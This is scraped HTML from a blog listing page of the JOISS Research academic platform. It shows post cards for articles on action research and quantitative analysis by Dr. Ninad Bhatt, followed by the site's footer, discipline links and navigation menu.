							<svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32"><path d="M30 26.4V29c0 1.7-1.3 3-3 3H5c-1.7 0-3-1.3-3-3v-2.6c0-4.6 3.8-8.4 8.4-8.4h1c1.4 0.6 2.9 1 4.6 1s3.2-0.4 4.6-1h1C26.2 18 30 21.8 30 26.4zM8 8c0-4.4 3.6-8 8-8s8 3.6 8 8 -3.6 8-8 8S8 12.4 8 8z"/></svg>
						Dr. Ninad Bhatt		</a>
								</li>
																<li class="ha-pg-date">
									<a class="ha-pg-date-text" href="https://joissresearch.org/2024/01/30/">
							<svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32"><path d="M32 16c0 8.8-7.2 16-16 16S0 24.8 0 16 7.2 0 16 0 32 7.2 32 16zM22.2 19.5c0-0.3-0.2-0.6-0.4-0.8L18.1 16V6.7c0-0.6-0.5-1-1-1H15c-0.6 0-1 0.5-1 1v10 0c0 0.7 0.4 1.6 1 2l4.3 3.2c0.2 0.1 0.4 0.2 0.6 0.2 0.3 0 0.6-0.2 0.8-0.4l1.3-1.6C22.1 20 22.2 19.7 22.2 19.5z"/></svg>
						January 30, 2024		</a>
								</li>
														</ul>
			</div>
				</div>
	
					
								<div class="ha-pg-item">
			<div class="ha-pg-outbox-top">
									<div class="ha-pg-thumb-area">
						<a href="https://joissresearch.org/a-symphony-of-precision-quantitative-analysis-in-action-research/" class="ha-pg-thumb">
							<picture decoding="async" class="attachment-full size-full wp-post-image">
<source type="image/webp" data-lazy-srcset="https://joissresearch.org/wp-content/uploads/2023/12/GetPaidStock.com-6590e485ecc3c.jpg.webp"/>
<img decoding="async" width="2048" height="1366" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%202048%201366'%3E%3C/svg%3E" alt="" data-lazy-src="https://joissresearch.org/wp-content/uploads/2023/12/GetPaidStock.com-6590e485ecc3c.jpg"/><noscript><img decoding="async" width="2048" height="1366" src="https://joissresearch.org/wp-content/uploads/2023/12/GetPaidStock.com-6590e485ecc3c.jpg" alt=""/></noscript>
</picture>
						</a>

														<div class="ha-pg-avatar">
			<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Layer_1" x="0px" y="0px" width="300px" height="105px" viewBox="0 0 300 105" xml:space="preserve">
				<path d="M0,104.9h300V79.8h-17.9c-26.1,0-49.8-14.6-62.1-37.6c-13.4-25-39.9-42.1-70.3-42.1s-56.8,17-70.3,42.1  c-12.3,23-36,37.6-62.1,37.6H0V104.9z"></path>
			</svg>
			<img decoding="async" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2060%2060'%3E%3C/svg%3E" width="60" height="60" data-lazy-srcset="https://joissresearch.org/wp-content/uploads/2024/05/HeadshotNinad-min-scaled.jpg 2x" alt="Dr. Ninad Bhatt" class="avatar avatar-60 wp-user-avatar wp-user-avatar-60 alignnone photo" data-lazy-src="https://joissresearch.org/wp-content/uploads/2024/05/HeadshotNinad-min-scaled-100x100.jpg" /><noscript><img decoding="async" src="https://joissresearch.org/wp-content/uploads/2024/05/HeadshotNinad-min-scaled-100x100.jpg" width="60" height="60" srcset="https://joissresearch.org/wp-content/uploads/2024/05/HeadshotNinad-min-scaled.jpg 2x" alt="Dr. Ninad Bhatt" class="avatar avatar-60 wp-user-avatar wp-user-avatar-60 alignnone photo" /></noscript>		</div>
							</div>
								<div class="ha-pg-content-area">
					<h4 class="ha-pg-title"><a href="https://joissresearch.org/a-symphony-of-precision-quantitative-analysis-in-action-research/">A Symphony of Precision: Quantitative Analysis in Action Research</a></h4>
								<div class="ha-pg-excerpt">
				<p>Starting on the journey of action research necessitates a knowledge base about methodologies, with quantitative&hellip;</p>			</div>
						</div>
			</div>
            			<div class="ha-pg-meta-wrap">
				<ul>
											<li class="ha-pg-author">
								<a class="ha-pg-author-text" href="https://joissresearch.org/author/dr-ninad-bhatt/">
							<svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32"><path d="M30 26.4V29c0 1.7-1.3 3-3 3H5c-1.7 0-3-1.3-3-3v-2.6c0-4.6 3.8-8.4 8.4-8.4h1c1.4 0.6 2.9 1 4.6 1s3.2-0.4 4.6-1h1C26.2 18 30 21.8 30 26.4zM8 8c0-4.4 3.6-8 8-8s8 3.6 8 8 -3.6 8-8 8S8 12.4 8 8z"/></svg>
						Dr. Ninad Bhatt		</a>
								</li>
																<li class="ha-pg-date">
									<a class="ha-pg-date-text" href="https://joissresearch.org/2023/12/30/">
							<svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32"><path d="M32 16c0 8.8-7.2 16-16 16S0 24.8 0 16 7.2 0 16 0 32 7.2 32 16zM22.2 19.5c0-0.3-0.2-0.6-0.4-0.8L18.1 16V6.7c0-0.6-0.5-1-1-1H15c-0.6 0-1 0.5-1 1v10 0c0 0.7 0.4 1.6 1 2l4.3 3.2c0.2 0.1 0.4 0.2 0.6 0.2 0.3 0 0.6-0.2 0.8-0.4l1.3-1.6C22.1 20 22.2 19.7 22.2 19.5z"/></svg>
						December 30, 2023		</a>
								</li>
														</ul>
			</div>
				</div>
	
					
								<div class="ha-pg-item">
			<div class="ha-pg-outbox-top">
									<div class="ha-pg-thumb-area">
						<a href="https://joissresearch.org/action-research/" class="ha-pg-thumb">
							<picture loading="lazy" decoding="async" class="attachment-full size-full wp-post-image">
<source type="image/webp" data-lazy-srcset="https://joissresearch.org/wp-content/uploads/2023/11/Article-Banner.jpg.webp"/>
<img decoding="async" width="1024" height="683" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%201024%20683'%3E%3C/svg%3E" alt="" data-lazy-src="https://joissresearch.org/wp-content/uploads/2023/11/Article-Banner.jpg"/><noscript><img loading="lazy" decoding="async" width="1024" height="683" src="https://joissresearch.org/wp-content/uploads/2023/11/Article-Banner.jpg" alt=""/></noscript>
</picture>
						</a>

														<div class="ha-pg-avatar">
			<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Layer_1" x="0px" y="0px" width="300px" height="105px" viewBox="0 0 300 105" xml:space="preserve">
				<path d="M0,104.9h300V79.8h-17.9c-26.1,0-49.8-14.6-62.1-37.6c-13.4-25-39.9-42.1-70.3-42.1s-56.8,17-70.3,42.1  c-12.3,23-36,37.6-62.1,37.6H0V104.9z"></path>
			</svg>
			<img decoding="async" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2060%2060'%3E%3C/svg%3E" width="60" height="60" data-lazy-srcset="https://joissresearch.org/wp-content/uploads/2024/05/HeadshotNinad-min-scaled.jpg 2x" alt="Ninad Bhatt" class="avatar avatar-60 wp-user-avatar wp-user-avatar-60 alignnone photo" data-lazy-src="https://joissresearch.org/wp-content/uploads/2024/05/HeadshotNinad-min-scaled-100x100.jpg" /><noscript><img loading="lazy" decoding="async" src="https://joissresearch.org/wp-content/uploads/2024/05/HeadshotNinad-min-scaled-100x100.jpg" width="60" height="60" srcset="https://joissresearch.org/wp-content/uploads/2024/05/HeadshotNinad-min-scaled.jpg 2x" alt="Ninad Bhatt" class="avatar avatar-60 wp-user-avatar wp-user-avatar-60 alignnone photo" /></noscript>		</div>
							</div>
								<div class="ha-pg-content-area">
					<h4 class="ha-pg-title"><a href="https://joissresearch.org/action-research/">Unveiling Action Research: A Quick Glimpse</a></h4>
								<div class="ha-pg-excerpt">
				<p>Unveiling Action Research: A Quick Glimpse Have you ever had that feeling when trying to&hellip;</p>			</div>
						</div>
			</div>
            			<div class="ha-pg-meta-wrap">
				<ul>
											<li class="ha-pg-author">
								<a class="ha-pg-author-text" href="https://joissresearch.org/author/ninad/">
							<svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32"><path d="M30 26.4V29c0 1.7-1.3 3-3 3H5c-1.7 0-3-1.3-3-3v-2.6c0-4.6 3.8-8.4 8.4-8.4h1c1.4 0.6 2.9 1 4.6 1s3.2-0.4 4.6-1h1C26.2 18 30 21.8 30 26.4zM8 8c0-4.4 3.6-8 8-8s8 3.6 8 8 -3.6 8-8 8S8 12.4 8 8z"/></svg>
						Dr. Ninad Bhatt		</a>
								</li>
																<li class="ha-pg-date">
									<a class="ha-pg-date-text" href="https://joissresearch.org/2023/11/28/">
							<svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32"><path d="M32 16c0 8.8-7.2 16-16 16S0 24.8 0 16 7.2 0 16 0 32 7.2 32 16zM22.2 19.5c0-0.3-0.2-0.6-0.4-0.8L18.1 16V6.7c0-0.6-0.5-1-1-1H15c-0.6 0-1 0.5-1 1v10 0c0 0.7 0.4 1.6 1 2l4.3 3.2c0.2 0.1 0.4 0.2 0.6 0.2 0.3 0 0.6-0.2 0.8-0.4l1.3-1.6C22.1 20 22.2 19.7 22.2 19.5z"/></svg>
						November 28, 2023		</a>
								</li>
														</ul>
			</div>
				</div>
	
															</div>
							<nav class="ha-pg-pagination-wrap" role="navigation" aria-label="Pagination">
			<a class="page-numbers" href="https://joissresearch.org/blog/"><span class="elementor-screen-only">Page</span>1</a>
<a class="page-numbers" href="https://joissresearch.org/blog/page2/"><span class="elementor-screen-only">Page</span>2</a>
<a class="page-numbers" href="https://joissresearch.org/blog/page3/"><span class="elementor-screen-only">Page</span>3</a>
<a class="page-numbers" href="https://joissresearch.org/blog/page4/"><span class="elementor-screen-only">Page</span>4</a>
<a class="page-numbers" href="https://joissresearch.org/blog/page5/"><span class="elementor-screen-only">Page</span>5</a>
<a class="page-numbers" href="https://joissresearch.org/blog/page6/"><span class="elementor-screen-only">Page</span>6</a>
<a class="page-numbers" href="https://joissresearch.org/blog/page7/"><span class="elementor-screen-only">Page</span>7</a>
<a class="page-numbers" href="https://joissresearch.org/blog/page8/"><span class="elementor-screen-only">Page</span>8</a>
<a class="page-numbers" href="https://joissresearch.org/blog/page9/"><span class="elementor-screen-only">Page</span>9</a>
<span aria-current="page" class="page-numbers current"><span class="elementor-screen-only">Page</span>10</span>		</nav>
						</div>
									</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div>
				<footer data-elementor-type="footer" data-elementor-id="213" class="elementor elementor-213 elementor-location-footer" data-elementor-settings="{&quot;ha_cmc_init_switcher&quot;:&quot;no&quot;}" data-elementor-post-type="elementor_library">
			<div class="has_ae_slider elementor-element elementor-element-974fb38 e-con-full e-flex ae-bg-gallery-type-default e-con e-parent" data-id="974fb38" data-element_type="container" data-settings="{&quot;background_background&quot;:&quot;classic&quot;,&quot;_ha_eqh_enable&quot;:false}">
		<div class="has_ae_slider elementor-element elementor-element-f6b024a e-con-full e-flex ae-bg-gallery-type-default e-con e-child" data-id="f6b024a" data-element_type="container" data-settings="{&quot;_ha_eqh_enable&quot;:false}">
				<div class="elementor-element elementor-element-e7ab3e5 elementor-widget elementor-widget-image" data-id="e7ab3e5" data-element_type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
																<a href="https://joissresearch.org/">
							<picture class="attachment-large size-large wp-image-2879">
<source type="image/webp" data-lazy-srcset="https://joissresearch.org/wp-content/uploads/2023/09/JOISS-Registered-Logo.png.webp"/>
<img width="800" height="259" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20800%20259'%3E%3C/svg%3E" alt="" data-lazy-src="https://joissresearch.org/wp-content/uploads/2023/09/JOISS-Registered-Logo.png"/><noscript><img width="800" height="259" src="https://joissresearch.org/wp-content/uploads/2023/09/JOISS-Registered-Logo.png" alt=""/></noscript>
</picture>
								</a>
															</div>
				</div>
				<div class="elementor-element elementor-element-f0d9405 elementor-widget elementor-widget-text-editor" data-id="f0d9405" data-element_type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p><span style="font-weight: 400;">Peer-reviewed academic research platform dedicated to scholarly research by researchers, practitioners, and students worldwide. Explore, collaborate, and share insights to enrich knowledge and enhance professional practices for a global impact</span></p>								</div>
				</div>
				<div class="elementor-element elementor-element-c92b13b elementor-widget elementor-widget-heading" data-id="c92b13b" data-element_type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h6 class="elementor-heading-title elementor-size-default">CONNECT</h6>				</div>
				</div>
				<div class="elementor-element elementor-element-a6f3b73 elementor-align-start elementor-widget-tablet__width-initial elementor-mobile-align-start elementor-widget-mobile__width-inherit elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list" data-id="a6f3b73" data-element_type="widget" data-widget_type="icon-list.default">
				<div class="elementor-widget-container">
							<ul class="elementor-icon-list-items">
							<li class="elementor-icon-list-item">
											<a href="mailto:contact@joissresearch.org">

												<span class="elementor-icon-list-icon">
							<i aria-hidden="true" class="fas fa-envelope"></i>						</span>
										<span class="elementor-icon-list-text">contact@joissresearch.org</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="#">

												<span class="elementor-icon-list-icon">
							<i aria-hidden="true" class="fas fa-map-marker-alt"></i>						</span>
										<span class="elementor-icon-list-text">7871 WESTMINSTER HIGHWAY PO BOX 97045 RICHMOND BC V6X8A3</span>
											</a>
									</li>
						</ul>
						</div>
				</div>
				<div class="elementor-element elementor-element-fbcc7a2 elementor-shape-circle e-grid-align-left e-grid-align-tablet-center e-grid-align-mobile-left elementor-grid-0 elementor-widget elementor-widget-social-icons" data-id="fbcc7a2" data-element_type="widget" data-widget_type="social-icons.default">
				<div class="elementor-widget-container">
							<div class="elementor-social-icons-wrapper elementor-grid" role="list">
							<span class="elementor-grid-item" role="listitem">
					<a class="elementor-icon elementor-social-icon elementor-social-icon-linkedin elementor-repeater-item-a653637" href="https://www.linkedin.com/company/joiss-research" target="_blank">
						<span class="elementor-screen-only">Linkedin</span>
						<i aria-hidden="true" class="fab fa-linkedin"></i>					</a>
				</span>
							<span class="elementor-grid-item" role="listitem">
					<a class="elementor-icon elementor-social-icon elementor-social-icon-facebook elementor-repeater-item-04534ac" href="https://www.facebook.com/profile.php?id=61553720955257" target="_blank">
						<span class="elementor-screen-only">Facebook</span>
						<i aria-hidden="true" class="fab fa-facebook"></i>					</a>
				</span>
							<span class="elementor-grid-item" role="listitem">
					<a class="elementor-icon elementor-social-icon elementor-social-icon-instagram elementor-repeater-item-7778028" href="https://www.instagram.com/joiss_research/" target="_blank">
						<span class="elementor-screen-only">Instagram</span>
						<i aria-hidden="true" class="fab fa-instagram"></i>					</a>
				</span>
					</div>
						</div>
				</div>
				<div class="elementor-element elementor-element-08c61c7 elementor-hidden-tablet elementor-hidden-mobile elementor-widget elementor-widget-text-editor" data-id="08c61c7" data-element_type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Copyright © 2025 by JOISS®️ Research. All Rights Reserved.</p><p>Website Design &amp; Developed By <a href="https://umldigital.com/">UML Digital</a></p>								</div>
				</div>
				</div>
		<div class="has_ae_slider elementor-element elementor-element-a598093 e-con-full e-flex ae-bg-gallery-type-default e-con e-child" data-id="a598093" data-element_type="container" data-settings="{&quot;_ha_eqh_enable&quot;:false}">
				<div class="elementor-element elementor-element-143f50f elementor-widget elementor-widget-heading" data-id="143f50f" data-element_type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Empowering Scholars: Where Diversity Meets Academic Excellence</h2>				</div>
				</div>
		<div class="has_ae_slider elementor-element elementor-element-ed672a0 e-con-full e-flex ae-bg-gallery-type-default e-con e-child" data-id="ed672a0" data-element_type="container" data-settings="{&quot;_ha_eqh_enable&quot;:false}">
		<div class="has_ae_slider elementor-element elementor-element-09bc1f0 e-con-full e-flex ae-bg-gallery-type-default e-con e-child" data-id="09bc1f0" data-element_type="container" data-settings="{&quot;_ha_eqh_enable&quot;:false}">
				<div class="elementor-element elementor-element-8ff1301 elementor-widget elementor-widget-heading" data-id="8ff1301" data-element_type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h6 class="elementor-heading-title elementor-size-default">DISCIPLINES</h6>				</div>
				</div>
				<div class="elementor-element elementor-element-2971aa5 elementor-align-start elementor-widget-tablet__width-initial elementor-mobile-align-start elementor-widget__width-initial elementor-widget-mobile__width-inherit elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list" data-id="2971aa5" data-element_type="widget" data-widget_type="icon-list.default">
				<div class="elementor-widget-container">
							<ul class="elementor-icon-list-items">
							<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/applied-social-science/">

											<span class="elementor-icon-list-text">Applied Social Science</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/engineering/artificial-intelligence-and-machine-learning/">

											<span class="elementor-icon-list-text">Artificial Intelligence and Machine Learning</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/asian-studies/">

											<span class="elementor-icon-list-text">Asian Studies</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/business/">

											<span class="elementor-icon-list-text">Business, Economics &amp; Globalization</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/information-technology/">

											<span class="elementor-icon-list-text">Communications &amp; Information Technology</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/culture-arts-and-music/">

											<span class="elementor-icon-list-text">Culture, Arts &amp; Music</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/education/">

											<span class="elementor-icon-list-text">Education</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/health/">

											<span class="elementor-icon-list-text">Health</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/sustainability-studies/">

											<span class="elementor-icon-list-text">History, Indigenous &amp; Sustainability Studies</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/law/">

											<span class="elementor-icon-list-text">Law</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/leadership/">

											<span class="elementor-icon-list-text">Leadership, Management &amp; Organizations</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/nursing/">

											<span class="elementor-icon-list-text">Nursing</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/persian-studies/">

											<span class="elementor-icon-list-text">Persian Studies</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/practice-as-research/">

											<span class="elementor-icon-list-text">Practice as Research</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/psychology/">

											<span class="elementor-icon-list-text">Psychology</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/public-policy-political-science/">

											<span class="elementor-icon-list-text">Public Policy &amp; Political Science</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/engineering/renewable-and-sustainable-energy/">

											<span class="elementor-icon-list-text">Renewable &amp; Sustainable Energy</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/engineering/signal-processing-and-wireless-networks/">

											<span class="elementor-icon-list-text">Signal Processing and Wireless Networks</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/gender-studies/">

											<span class="elementor-icon-list-text">Women Studies</span>
											</a>
									</li>
						</ul>
						</div>
				</div>
				</div>
		<div class="has_ae_slider elementor-element elementor-element-e2e0252 e-con-full e-flex ae-bg-gallery-type-default e-con e-child" data-id="e2e0252" data-element_type="container" data-settings="{&quot;_ha_eqh_enable&quot;:false}">
				<div class="elementor-element elementor-element-d1eedc7 elementor-widget elementor-widget-heading" data-id="d1eedc7" data-element_type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h6 class="elementor-heading-title elementor-size-default">EXPLORE</h6>				</div>
				</div>
				<div class="elementor-element elementor-element-5ce4170 elementor-align-start elementor-mobile-align-start elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list" data-id="5ce4170" data-element_type="widget" data-widget_type="icon-list.default">
				<div class="elementor-widget-container">
							<ul class="elementor-icon-list-items">
							<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/about-us/">

											<span class="elementor-icon-list-text">About</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/student-scholarship/">

											<span class="elementor-icon-list-text">Apply For Scholarships</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/article-submission/">

											<span class="elementor-icon-list-text">Article Submission</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/articles/">

											<span class="elementor-icon-list-text">Articles</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/authors/">

											<span class="elementor-icon-list-text">Authors</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/book/">

											<span class="elementor-icon-list-text">Books</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/contact/">

											<span class="elementor-icon-list-text">Contact</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/donate-to-joiss/">

											<span class="elementor-icon-list-text">Donate</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/">

											<span class="elementor-icon-list-text">Home</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/journal/un-education-day-event-24th-january/">

											<span class="elementor-icon-list-text">Event</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/displine/engineering/">

											<span class="elementor-icon-list-text">JOISS Engineering</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/joiss-for-scholars/">

											<span class="elementor-icon-list-text">JOISS for Scholars</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<a href="https://joissresearch.org/volunteering/">

											<span class="elementor-icon-list-text">Volunteering</span>
											</a>
									</li>
						</ul>
						</div>
				</div>
				</div>
				</div>
		<div class="has_ae_slider elementor-element elementor-element-e55f38f e-con-full e-flex ae-bg-gallery-type-default e-con e-child" data-id="e55f38f" data-element_type="container" data-settings="{&quot;_ha_eqh_enable&quot;:false}">
		<div class="has_ae_slider elementor-element elementor-element-f2be1a8 e-con-full e-flex ae-bg-gallery-type-default e-con e-child" data-id="f2be1a8" data-element_type="container" data-settings="{&quot;_ha_eqh_enable&quot;:false}">
				<div class="elementor-element elementor-element-0d6e2ba elementor-align-end elementor-widget-tablet__width-initial elementor-mobile-align-center elementor-widget__width-inherit elementor-widget-mobile__width-inherit elementor-icon-list--layout-inline elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list" data-id="0d6e2ba" data-element_type="widget" data-widget_type="icon-list.default">
				<div class="elementor-widget-container">
							<ul class="elementor-icon-list-items elementor-inline-items">
							<li class="elementor-icon-list-item elementor-inline-item">
											<a href="https://joissresearch.org/privacy-policy/">

											<span class="elementor-icon-list-text">Privacy Policy</span>
											</a>
									</li>
								<li class="elementor-icon-list-item elementor-inline-item">
											<a href="https://joissresearch.org/terms-conditions/">

											<span class="elementor-icon-list-text">Terms &amp; Conditions</span>
											</a>
									</li>
								<li class="elementor-icon-list-item elementor-inline-item">
											<a href="https://joissresearch.org/return-policy/">

											<span class="elementor-icon-list-text">Refund Policy</span>
											</a>
									</li>
						</ul>
						</div>
				</div>
				</div>
		<div class="has_ae_slider elementor-element elementor-element-3cdabe3 e-con-full e-flex ae-bg-gallery-type-default e-con e-child" data-id="3cdabe3" data-element_type="container" data-settings="{&quot;_ha_eqh_enable&quot;:false}">
				<div class="elementor-element elementor-element-a158d1f elementor-widget__width-initial elementor-widget-mobile__width-initial elementor-widget elementor-widget-image" data-id="a158d1f" data-element_type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img width="64" height="40" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2064%2040'%3E%3C/svg%3E" class="attachment-large size-large wp-image-1179" alt="" data-lazy-src="https://joissresearch.org/wp-content/uploads/2023/09/download-1.svg" /><noscript><img width="64" height="40" src="https://joissresearch.org/wp-content/uploads/2023/09/download-1.svg" class="attachment-large size-large wp-image-1179" alt="" /></noscript>															</div>
				</div>
				</div>
		<div class="has_ae_slider elementor-element elementor-element-5737b92 e-con-full e-flex ae-bg-gallery-type-default e-con e-child" data-id="5737b92" data-element_type="container" data-settings="{&quot;_ha_eqh_enable&quot;:false}">
				<div class="elementor-element elementor-element-2a115ff elementor-widget__width-initial elementor-widget-mobile__width-inherit elementor-widget elementor-widget-image" data-id="2a115ff" data-element_type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img width="66" height="42" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2066%2042'%3E%3C/svg%3E" class="attachment-large size-large wp-image-1180" alt="" data-lazy-src="https://joissresearch.org/wp-content/uploads/2023/09/download.svg" /><noscript><img width="66" height="42" src="https://joissresearch.org/wp-content/uploads/2023/09/download.svg" class="attachment-large size-large wp-image-1180" alt="" /></noscript>															</div>
				</div>
				</div>
				</div>
				<div class="elementor-element elementor-element-2c942a3 elementor-hidden-desktop elementor-widget elementor-widget-text-editor" data-id="2c942a3" data-element_type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Copyright © 2025 by JOISS®️ Research. All Rights Reserved.</p><p>Website Design &amp; Developed By <a href="https://umldigital.com/">UML Digital</a></p>								</div>
				</div>
				</div>
				</div>
				</footer>
		
<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/hello-theme-child-master/*","/wp-content/themes/hello-elementor/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
		<div data-elementor-type="popup" data-elementor-id="85" class="elementor elementor-85 elementor-location-popup" data-elementor-settings="{&quot;entrance_animation&quot;:&quot;fadeInLeft&quot;,&quot;exit_animation&quot;:&quot;fadeInLeft&quot;,&quot;entrance_animation_duration&quot;:{&quot;unit&quot;:&quot;px&quot;,&quot;size&quot;:0.5,&quot;sizes&quot;:[]},&quot;ha_cmc_init_switcher&quot;:&quot;no&quot;,&quot;a11y_navigation&quot;:&quot;yes&quot;,&quot;timing&quot;:[]}" data-elementor-post-type="elementor_library">
					<section class="has_ae_slider elementor-section elementor-top-section elementor-element elementor-element-3cae6610 elementor-section-boxed elementor-section-height-default elementor-section-height-default ae-bg-gallery-type-default" data-id="3cae6610" data-element_type="section" data-settings="{&quot;_ha_eqh_enable&quot;:false}">
						<div class="elementor-container elementor-column-gap-default">
					<div class="has_ae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-6f50ea23 ae-bg-gallery-type-default" data-id="6f50ea23" data-element_type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-512f76b7 elementor-widget elementor-widget-heading" data-id="512f76b7" data-element_type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">MENU</h2>				</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				<section class="has_ae_slider elementor-section elementor-top-section elementor-element elementor-element-7a971870 elementor-section-full_width elementor-section-height-default elementor-section-height-default ae-bg-gallery-type-default" data-id="7a971870" data-element_type="section" data-settings="{&quot;_ha_eqh_enable&quot;:false}">
						<div class="elementor-container elementor-column-gap-default">
					<div class="has_ae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-2561df77 ae-bg-gallery-type-default" data-id="2561df77" data-element_type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-754d3f6 elementor-widget__width-initial elementor-widget elementor-widget-nav-menu" data-id="754d3f6" data-element_type="widget" data-settings="{&quot;layout&quot;:&quot;dropdown&quot;,&quot;submenu_icon&quot;:{&quot;value&quot;:&quot;&lt;i class=\&quot;fas fa-chevron-down\&quot; aria-hidden=\&quot;true\&quot;&gt;&lt;\/i&gt;&quot;,&quot;library&quot;:&quot;fa-solid&quot;}}" data-widget_type="nav-menu.default">
				<div class="elementor-widget-container">
								<nav class="elementor-nav-menu--dropdown elementor-nav-menu__container" aria-hidden="true">
				<ul id="menu-2-754d3f6" class="elementor-nav-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home menu-item-561"><a href="https://joissresearch.org/" class="elementor-item" tabindex="-1">Home</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-563"><a href="https://joissresearch.org/article-submission/" class="elementor-item" tabindex="-1">Article Submission</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-564"><a href="https://joissresearch.org/student-scholarship/" class="elementor-item" tabindex="-1">Student Scholarship</a></li>
